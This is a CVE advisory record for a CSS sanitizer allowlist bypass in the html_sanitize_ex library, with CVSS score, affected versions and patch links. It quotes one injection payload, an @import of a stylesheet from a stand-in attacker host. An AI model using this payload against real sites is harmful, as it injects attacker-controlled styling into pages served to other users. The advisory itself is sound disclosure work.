CVE-2026-68747CSS sanitizer allowlist bypass in html_sanitize_ex via non-declaration input
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Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed. Element boundaries are resolved before the scrubber runs, so injected content does not escape the <style> element and no script executes. This issue affects html_sanitize_ex: from 0.3.1 before 1.4.5 and from 1.5.0-rc.0 before 1.5.4.
- CVSS
- 2.3 LOW (v4.0, CNA)CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
- Weakness (CWE)
- CWE-74
- Known exploited
- Not in CISA's KEV catalog
- EPSS (exploitation in the next 30 days)
- Not loaded for this CVE
- Assigned by
- EEF
- NVD analysis
- Modified
- Record last updated
- Aug 19, 2026
- First seen by InfoSec Signals
- Oct 9, 2026
Affected products
rrrene html_sanitize_ex rrrene:html_sanitize_ex | from 0.3.1 before 1.4.5; from 1.5.0-rc.0 before 1.5.4 | CNA record |
rrrene htmlsanitizeex rrrene:htmlsanitizeex | from 0.3.1 before 1.5.4 | NVD |
References
- https://github.com/rrrene/html_sanitize_ex/security/advisories/GHSA-87v2-pfhj-r5x7vendor-advisory, related, broken-link
- https://cna.erlef.org/cves/CVE-2026-68747.htmlrelated, patch, third-party-advisory
- https://osv.dev/vulnerability/EEF-CVE-2026-68747related, patch, third-party-advisory
- https://github.com/rrrene/html_sanitize_ex/commit/0b9f9ad63a7529d4f2c3c1134c371adc3e654308patch
- https://github.com/rrrene/html_sanitize_ex/commit/c311a499db0b0baef06493fb3cfeb730c0f18f28patch
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